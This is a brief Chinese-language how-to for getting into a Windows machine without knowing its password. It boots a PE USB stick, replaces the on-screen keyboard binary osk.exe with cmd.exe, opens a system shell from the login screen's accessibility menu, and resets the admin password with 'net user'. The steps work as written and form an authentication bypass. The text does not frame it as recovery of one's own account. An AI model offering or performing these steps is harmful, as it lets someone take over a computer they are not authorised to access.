不知道windows密码的前提下，直接改windows密码实现登录。
弄一个pe 启动u盘，然后u盘启动，按shift+f10进入cmd shell。
然后进入c:\windows\system32
copy osk.exe osk2.exe 把屏幕键盘程序备份
copy cmd.exe osk.exe 把屏幕键盘覆盖
重启，来到登录页，轻松访问→屏幕键盘呼出cmd
net user admin 123456 123456
（但可能被defender杀）